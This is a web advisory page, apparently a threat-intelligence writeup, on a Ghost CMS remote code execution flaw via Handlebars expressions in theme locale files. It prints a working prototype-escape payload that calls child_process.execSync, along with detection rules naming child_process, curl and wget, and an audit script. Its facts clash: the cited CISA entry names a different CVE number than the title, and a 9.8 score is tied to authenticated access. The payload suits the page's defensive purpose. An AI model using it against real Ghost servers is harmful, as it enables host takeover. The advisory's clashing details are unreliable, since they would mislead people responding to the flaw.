CVE-2026-104418: Ghost Headless CMS Remote Code Execution via Theme Translation Files
HERMES THREAT SCORE & WEB CMS INFRASTRUCTURE EXPOSURE
Target:Ghost Headless CMS โ Theme Internationalization (i18n) Subsystem CVSS v3.1 rates this flaw at 9.8 (Critical) based on authenticated staff execution. The Hermes Threat Score assigns 94 (CRITICAL) following weaponized exploit intelligence released by VulnCheck on October 3, 2026. Ghost powers mission-critical publications, engineering portals, and enterprise blogs across modern digital media architectures. Editorial teams commonly grant custom theme upload or preview permissions to external designers or junior staff. By concealing Handlebars prototype escape sequences inside locale translation files (locales/*.json), attackers escape template sandboxing and obtain unconstrained command execution in the Ghost Node.js runtime process.
CVE-2026-104418: Ghost Headless CMS Remote Code Execution via Theme Translation FilesVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Ghost Headless CMS documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Vulnerability Anatomy & Root Cause
Section titled โ1. Technical Vulnerability Anatomy & Root CauseโThe vulnerability exists in the translation rendering pipeline within Ghost Core (ghost/core/core/frontend/services/themes/i18n.js). Ghost allows custom themes to supply localization dictionaries under the locales/ directory (for example, locales/en.json, locales/fr.json). When Handlebars processes template views containing the {{t}} helper, translation strings undergo dynamic expression compilation:
// Vulnerable i18n string compilation in Ghost Core < 6.64.0function translate(key, options) { const rawString = getLocaleString(currentLocale, key);
// Flaw: Unsanitized translation values compiled directly into Handlebars AST if (rawString && rawString.includes('{{')) { const compiledTemplate = handlebars.compile(rawString); return new handlebars.SafeString(compiledTemplate(options.hash)); }
return rawString;}Because handlebars.compile was invoked on untrusted translation values without disabling prototype lookup or restricting AST node helpers, an attacker can supply a malicious Handlebars expression that traverses JavaScript prototype chains:
{ "Navigation": "Navigation", "Subscribe": "{{#with (lookup (lookup this 'constructor') 'constructor')}}{{#with (lookup this 'prototype')}}{{lookup (lookup this 'constructor') 'name'}}{{/with}}{{/with}}", "Footer Notice": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with (lookup string.constructor.prototype 'trim')}}{{#with (string.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"id\").toString()')()) as |output|}}{{output}}{{/with}}{{/with}}{{/with}}{{/with}}"}When an administrator or editor activates the custom theme or previews a draft post rendering the footer notice, the Node.js runtime compiles the payload and immediately executes the injected system command under the privileges of the Ghost server daemon.
2. Affected Versions & Remediation Matrix
Section titled โ2. Affected Versions & Remediation Matrixโ| Ghost Release Train | Affected Versions | Fixed Release | Operational Remediation |
|---|---|---|---|
| Ghost 6.x | 6.10.3 through 6.63.1 | 6.64.0 | Upgrade immediately via Ghost-CLI |
| Ghost 5.x / 4.x | Prior major branches | Migrate to 6.64.0 | Backport not supported; full major upgrade required |
3. Attack Vectors & Execution Flow
Section titled โ3. Attack Vectors & Execution FlowโThe attack path illustrates how an attacker leverages theme customization permissions to achieve host takeover:
[Attacker with Author/Editor Role] โ โ 1. Upload custom theme ZIP with weaponized locales/en.json โผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Ghost Admin Theme Service (/ghost/api/admin/themes/) โโ - Unpacks theme archive to content/themes/<theme_name> โโ - Ingests locales/en.json into i18n cache โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ 2. Trigger theme compilation (site visit / preview) โผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Ghost Template Engine (Handlebars {{t}} Helper) โโ - Invokes handlebars.compile() on attacker payload โโ - Traverses Object.constructor prototype chain โโ - Executes child_process.execSync("malicious_command") โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ 3. Remote code execution in Node.js runtime โผ[Node.js Host Process Takeover / Reverse Shell]4. Threat Hunting & Forensic Triage
Section titled โ4. Threat Hunting & Forensic TriageโDetection rules across Sigma, KQL, and filesystem audit utilities are provided below:
title: Ghost CMS Theme Translation Template Injection RCEid: 8f42b319-5a1e-4cb8-9b81-3011e4286f21status: highdescription: Detects file modifications in Ghost theme locale directories containing Handlebars prototype traversal and process execution strings.references: - https://vulncheck.com/advisories/ghost-from-6.10.3-before-6.64.0-rce-via-theme-translation-files - https://github.com/TryGhost/Ghost/security/advisoriesauthor: Hermes Codex Threat Intelligencedate: 2026-10-03logsource: category: file_eventdetection: selection_path: TargetFilename|contains: '/content/themes/' TargetFilename|endswith: '.json' selection_content: - 'child_process' - 'constructor.constructor' - 'process.mainModule' - 'SafeString' condition: selection_path and selection_contentlevel: critical// Azure Sentinel / Microsoft Defender for Endpoint// Detect Ghost node process executing command shells or downloading external scriptsDeviceProcessEvents| where InitiatingProcessFileName =~ "node" and InitiatingProcessCommandLine has "ghost"| where FileName in~ ("bash", "sh", "curl", "wget", "perl", "python3")| project Timestamp, DeviceName, ActionType, FileName, CommandLine, InitiatingProcessCommandLine| order by Timestamp desc#!/bin/bash# Ghost CMS Theme Translation Integrity AuditGHOST_DIR="/var/lib/ghost/content/themes"
echo "=== [1] Scanning Ghost Themes for Prototype Escape Payloads ==="find "$GHOST_DIR" -type f -name "*.json" -exec grep -HEn 'constructor|process|child_process|execSync' {} +
echo "=== [2] Inspecting Recently Installed Theme Archives ==="find "$GHOST_DIR" -maxdepth 1 -type d -mtime -3 -ls
echo "=== [3] Checking Ghost Node Process File Descriptors ==="pgrep -f "node.*ghost" | while read pid; do echo "Process $pid open network sockets:" lsof -Pan -p "$pid" -i 2>/dev/nulldone5. Remediation Strategy & Hardening Steps
Section titled โ5. Remediation Strategy & Hardening Stepsโ-
Upgrade Ghost via Ghost-CLI: Log in to the Ghost host and trigger the automated upgrade to 6.64.0:
Terminal window sudo -u ghost -ighost update 6.64.0 -
Verify Theme Translation Integrity: Scan all active and inactive themes in
content/themes/to ensure no persistent backdoors remain inlocales/files:Terminal window ghost doctorfind /var/lib/ghost/content/themes -name "*.json" | xargs grep -i "child_process" -
Restrict Theme Management Permissions: Audit Ghost Admin staff roles (
/ghost/#/settings/staff) and ensure only verified super-administrators hold Owner or Administrator privileges.